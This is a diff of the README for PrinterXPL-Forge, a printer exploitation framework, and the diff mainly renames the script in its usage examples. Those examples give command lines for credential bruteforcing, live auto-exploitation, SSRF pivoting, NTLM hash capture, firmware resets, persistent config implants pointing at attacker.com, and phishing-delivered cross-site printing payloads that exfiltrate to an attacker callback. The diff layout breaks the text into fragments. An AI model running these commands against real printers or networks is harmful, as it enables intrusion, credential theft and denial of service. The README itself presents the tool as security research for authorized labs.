|
-
python
|
|
470
|
+
python pxf.py 192.168.1.100 --scan --bruteforce
|
|
427
471
|
```
|
|
428
472
|
|
|
429
473
|
---
|
|
@@ -432,16 +476,16 @@ python printerxpl-forge.py 192.168.1.100 --scan --bruteforce
|
|
|
432
476
|
|
|
433
477
|
```bash
|
|
434
478
|
# Auto-detect best language
|
|
435
|
-
python
|
|
479
|
+
python pxf.py 192.168.1.100 auto
|
|
436
480
|
|
|
437
481
|
# Specific languages
|
|
438
|
-
python
|
|
439
|
-
python
|
|
440
|
-
python
|
|
482
|
+
python pxf.py 192.168.1.100 pjl # PJL: filesystem, NVRAM, control
|
|
483
|
+
python pxf.py 192.168.1.100 ps # PostScript: operators, job capture
|
|
484
|
+
python pxf.py 192.168.1.100 pcl # PCL: macro filesystem
|
|
441
485
|
|
|
442
486
|
# Debug, batch, log modes
|
|
443
|
-
python
|
|
444
|
-
python
|
|
487
|
+
python pxf.py 192.168.1.100 pjl --debug
|
|
488
|
+
python pxf.py 192.168.1.100 pjl -i commands.txt -o session.log -q
|
|
445
489
|
```
|
|
446
490
|
|
|
447
491
|
**Key PJL commands:**
|
|
@@ -465,24 +509,24 @@ Automatic exploit selection, verification, parameter pre-filling, and execution.
|
|
|
465
509
|
|
|
466
510
|
```bash
|
|
467
511
|
# Auto exploit (dry-run — safe)
|
|
468
|
-
python
|
|
512
|
+
python pxf.py 192.168.1.100 --auto-exploit
|
|
469
513
|
|
|
470
514
|
# With serial number pre-filled to exploits that require it
|
|
471
|
-
python
|
|
515
|
+
python pxf.py 192.168.1.100 --auto-exploit --bf-serial XAABT77481
|
|
472
516
|
|
|
473
517
|
# Live exploitation — AUTHORIZED LABS ONLY
|
|
474
|
-
python
|
|
518
|
+
python pxf.py 192.168.1.100 --auto-exploit --no-dry
|
|
475
519
|
|
|
476
520
|
# Restrict to a specific source
|
|
477
|
-
python
|
|
521
|
+
python pxf.py 192.168.1.100 --auto-exploit --xpl-source exploit-db
|
|
478
522
|
|
|
479
523
|
# Check more candidates, run top 3
|
|
480
|
-
python
|
|
524
|
+
python pxf.py 192.168.1.100 --auto-exploit \
|
|
481
525
|
--auto-exploit-limit 15 \
|
|
482
526
|
--auto-exploit-run 3
|
|
483
527
|
|
|
484
528
|
# Force a custom exploit file (parameters auto-filled)
|
|
485
|
-
python
|
|
529
|
+
python pxf.py 192.168.1.100 --auto-exploit \
|
|
486
530
|
--auto-exploit-file /path/to/my_exploit.py \
|
|
487
531
|
--bf-serial XAABT77481
|
|
488
532
|
```
|
|
@@ -502,22 +546,22 @@ python printerxpl-forge.py 192.168.1.100 --auto-exploit \
|
|
|
502
546
|
|
|
503
547
|
```bash
|
|
504
548
|
# Auto-detect vendor, use default wordlist
|
|
505
|
-
python
|
|
549
|
+
python pxf.py 192.168.1.100 --bruteforce
|
|
506
550
|
|
|
507
551
|
# Explicit vendor + serial (Epson / HP / Canon)
|
|
508
|
-
python
|
|
552
|
+
python pxf.py 192.168.1.100 --bruteforce --bf-vendor epson --bf-serial XAABT77481
|
|
509
553
|
|
|
510
554
|
# MAC-based tokens (OKI, Brother, Kyocera KR2)
|
|
511
|
-
python
|
|
555
|
+
python pxf.py 192.168.1.100 --bruteforce --bf-vendor oki --bf-mac AA:BB:CC:DD:EE:FF
|
|
512
556
|
|
|
513
557
|
# Custom wordlist (replaces default)
|
|
514
|
-
python
|
|
558
|
+
python pxf.py 192.168.1.100 --bruteforce --bf-wordlist /path/to/creds.txt
|
|
515
559
|
|
|
516
560
|
# Add individual credentials (highest priority)
|
|
517
|
-
python
|
|
561
|
+
python pxf.py 192.168.1.100 --bruteforce --bf-cred admin:MyPass --bf-cred root:
|
|
518
562
|
|
|
519
563
|
# No variation engine (faster)
|
|
520
|
-
python
|
|
564
|
+
python pxf.py 192.168.1.100 --bruteforce --bf-no-variations --bf-delay 2.0
|
|
521
565
|
```
|
|
522
566
|
|
|
523
567
|
**Protocols tested:** HTTP/HTTPS · FTP · SNMP community strings · Telnet
|
|
@@ -539,22 +583,22 @@ admin:hpinvent!
|
|
|
539
583
|
|
|
540
584
|
```bash
|
|
541
585
|
# List all 150 modules sorted by CVSS
|
|
542
|
-
python
|
|
543
|
-
python
|
|
586
|
+
python pxf.py 192.168.1.100 --xpl-list
|
|
587
|
+
python pxf.py 192.168.1.100 --xpl-list --xpl-source exploit-db
|
|
544
588
|
|
|
545
589
|
# Non-destructive vulnerability check
|
|
546
|
-
python
|
|
547
|
-
python
|
|
590
|
+
python pxf.py 192.168.1.100 --xpl-check edb-35151
|
|
591
|
+
python pxf.py 192.168.1.100 --xpl-check edb-cve-2024-51978
|
|
548
592
|
|
|
549
593
|
# Run exploit (dry-run default)
|
|
550
|
-
python
|
|
551
|
-
python
|
|
594
|
+
python pxf.py 192.168.1.100 --xpl-run edb-35151
|
|
595
|
+
python pxf.py 192.168.1.100 --xpl-run edb-35151 --no-dry # live
|
|
552
596
|
|
|
553
597
|
# Download exploit from ExploitDB
|
|
554
|
-
python
|
|
598
|
+
python pxf.py --xpl-fetch 45273
|
|
555
599
|
|
|
556
600
|
# Rebuild index after adding modules
|
|
557
|
-
python
|
|
601
|
+
python pxf.py --xpl-update
|
|
558
602
|
```
|
|
559
603
|
|
|
560
604
|
### New HIGH/CRITICAL Modules Added in v6.1.0
|
|
@@ -637,13 +681,13 @@ Runs every attack category from BlackHat 2017 + 2024-2025 CVEs:
|
|
|
637
681
|
|
|
638
682
|
```bash
|
|
639
683
|
# Dry-run (probe only)
|
|
640
|
-
python
|
|
684
|
+
python pxf.py 192.168.1.100 --attack-matrix
|
|
641
685
|
|
|
642
686
|
# Live exploitation — AUTHORIZED LABS ONLY
|
|
643
|
-
python
|
|
687
|
+
python pxf.py 192.168.1.100 --attack-matrix --no-dry
|
|
644
688
|
|
|
645
689
|
# Combined with network map
|
|
646
|
-
python
|
|
690
|
+
python pxf.py 192.168.1.100 --attack-matrix --network-map --no-dry
|
|
647
691
|
```
|
|
648
692
|
|
|
649
693
|
**Categories:** DoS · Protection Bypass · Job Manipulation · Information Disclosure · CORS/XSP · SNMP write · Network pivoting
|
|
@@ -654,16 +698,16 @@ python printerxpl-forge.py 192.168.1.100 --attack-matrix --network-map --no-dry
|
|
|
654
698
|
|
|
655
699
|
```bash
|
|
656
700
|
# SSRF audit via IPP/WSD
|
|
657
|
-
python
|
|
701
|
+
python pxf.py 192.168.1.100 --pivot
|
|
658
702
|
|
|
659
703
|
# Port-scan internal host via printer SSRF
|
|
660
|
-
python
|
|
704
|
+
python pxf.py 192.168.1.100 --pivot-scan 10.0.0.1
|
|
661
705
|
|
|
662
706
|
# Full network map from printer's perspective
|
|
663
|
-
python
|
|
707
|
+
python pxf.py 192.168.1.100 --network-map
|
|
664
708
|
|
|
665
709
|
# LDAP NTLM hash capture
|
|
666
|
-
python
|
|
710
|
+
python pxf.py 192.168.1.100 --xpl-run research-ldap-hash-capture --no-dry
|
|
667
711
|
```
|
|
668
712
|
|
|
669
713
|
---
|
|
@@ -672,23 +716,23 @@ python printerxpl-forge.py 192.168.1.100 --xpl-run research-ldap-hash-capture --
|
|
|
672
716
|
|
|
673
717
|
```bash
|
|
674
718
|
# Storage audit: FTP, web file manager, SNMP MIB, saved jobs
|
|
675
|
-
python
|
|
719
|
+
python pxf.py 192.168.1.100 --storage
|
|
676
720
|
|
|
677
721
|
# Firmware: version, upload endpoint check, NVRAM probe
|
|
678
|
-
python
|
|
722
|
+
python pxf.py 192.168.1.100 --firmware
|
|
679
723
|
|
|
680
724
|
# Factory reset (dry-run probes endpoints)
|
|
681
|
-
python
|
|
682
|
-
python
|
|
725
|
+
python pxf.py 192.168.1.100 --firmware-reset pjl
|
|
726
|
+
python pxf.py 192.168.1.100 --firmware-reset web
|
|
683
727
|
|
|
684
728
|
# Persistent config implant
|
|
685
|
-
python
|
|
686
|
-
python
|
|
729
|
+
python pxf.py 192.168.1.100 --implant smtp_host=attacker.com
|
|
730
|
+
python pxf.py 192.168.1.100 --implant snmp_community=hacked
|
|
687
731
|
|
|
688
732
|
# Language-specific payload injection
|
|
689
|
-
python
|
|
690
|
-
python
|
|
691
|
-
python
|
|
733
|
+
python pxf.py 192.168.1.100 --payload pjl:reset
|
|
734
|
+
python pxf.py 192.168.1.100 --payload ps:loop
|
|
735
|
+
python pxf.py 192.168.1.100 --payload ps:custom --payload-data "statusdict begin showROMfonts end"
|
|
692
736
|
```
|
|
693
737
|
|
|
694
738
|
---
|
|
@@ -697,11 +741,11 @@ python printerxpl-forge.py 192.168.1.100 --payload ps:custom --payload-data "sta
|
|
|
697
741
|
|
|
698
742
|
```bash
|
|
699
743
|
# Generate attack payloads (deployed via phishing / watering hole)
|
|
700
|
-
python
|
|
701
|
-
python
|
|
702
|
-
python
|
|
703
|
-
python
|
|
704
|
-
python
|
|
744
|
+
python pxf.py 192.168.1.100 --xsp info
|
|
745
|
+
python pxf.py 192.168.1.100 --xsp capture --xsp-callback https://attacker.com/log
|
|
746
|
+
python pxf.py 192.168.1.100 --xsp dos
|
|
747
|
+
python pxf.py 192.168.1.100 --xsp nvram
|
|
748
|
+
python pxf.py 192.168.1.100 --xsp exfil
|
|
705
749
|
```
|
|
706
750
|
|
|
707
751
|
---
|
|
@@ -710,16 +754,16 @@ python printerxpl-forge.py 192.168.1.100 --xsp exfil
|
|
|
710
754
|
|
|
711
755
|
```bash
|
|
712
756
|
# Full IPP security audit
|
|
713
|
-
python
|
|
757
|
+
python pxf.py 192.168.1.100 --ipp
|
|
714
758
|
|
|
715
759
|
# Submit anonymous print job (dry-run)
|
|
716
|
-
python
|
|
717
|
-
python
|
|
760
|
+
python pxf.py 192.168.1.100 --ipp-submit
|
|
761
|
+
python pxf.py 192.168.1.100 --ipp-submit --no-dry
|
|
718
762
|
|
|
719
763
|
# Send any file to printer
|
|
720
|
-
python
|
|
721
|
-
python
|
|
722
|
-
python
|
|
764
|
+
python pxf.py 192.168.1.100 --send-job document.pdf
|
|
765
|
+
python pxf.py 192.168.1.100 --send-job payload.ps --send-proto raw
|
|
766
|
+
python pxf.py 192.168.1.100 --send-job flyer.pdf --send-copies 10 --send-proto lpd
|
|
723
767
|
```
|
|
724
768
|
|
|
725
769
|
---
|
|
@@ -832,7 +876,7 @@ Epson · HP · Brother · Ricoh · Xerox · Canon · Kyocera · Samsung · OKI
|
|
|
832
876
|
|
|
833
877
|
```bash
|
|
834
878
|
cp config.json.example config.json
|
|
835
|
-
python
|
|
879
|
+
python pxf.py --check-config
|
|
836
880
|
```
|
|
837
881
|
|
|
838
882
|
---
|
|
@@ -928,3 +972,43 @@ Made with care for the security community.
|
|
|
928
972
|
[Documentation](https://github.com/mrhenrike/PrinterXPL-Forge/wiki) | [Issues](https://github.com/mrhenrike/PrinterXPL-Forge/issues) | [Releases](https://github.com/mrhenrike/PrinterXPL-Forge/releases)
|
|
929
973
|
|
|
930
974
|
</div>
|
|
975
|
+
---
|
|
976
|
+
|
|
977
|
+
## Contributors
|
|
978
|
+
|
|
979
|
+
| Contributor | Contribution |
|
|
980
|
+
|-------------|--------------|
|
|
981
|
+
| [Catalin Patulea (@cpatulea)](https://github.com/cpatulea) | Original HP ACL protocol module ([PR #3](https://github.com/mrhenrike/PrinterXPL-Forge/pull/3)); hardened in-tree as `src/modules/acl.py` |
|
|
982
|
+
|
|
983
|
+
See also [CONTRIBUTORS.md](CONTRIBUTORS.md).
|
|
984
|
+
|
|
985
|
+
## Contact
|
|
986
|
+
|
|
987
|
+
**Support / general inquiries:** security.research@uniaogeek.com.br
|
|
988
|
+
**Security issues:** [SECURITY.md](SECURITY.md)
|
|
989
|
+
|
|
990
|
+
---
|
|
991
|
+
|
|
992
|
+
### André Henrique
|
|
993
|
+
|
|
994
|
+
| | |
|
|
995
|
+
|---|---|
|
|
996
|
+
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
|
|
997
|
+
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
|
|
998
|
+
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |
|
|
999
|
+
|
|
1000
|
+
### União Geek
|
|
1001
|
+
|
|
1002
|
+
| | |
|
|
1003
|
+
|---|---|
|
|
1004
|
+
| Website | [uniaogeek.com.br](https://uniaogeek.com.br/) |
|
|
1005
|
+
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
|
|
1006
|
+
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
|
|
1007
|
+
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |
|
|
1008
|
+
|
|
1009
|
+
---
|
|
1010
|
+
|
|
1011
|
+
**License:** BSD-3-Clause License - Copyright (c) 2026 União Geek
|
|
1012
|
+
**Created by:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)
|
|
1013
|
+
|
|
1014
|
+
[Leia em Português](README.pt-BR.md) - [Command coverage](docs/commands.md) - [Wiki](../../wiki)
|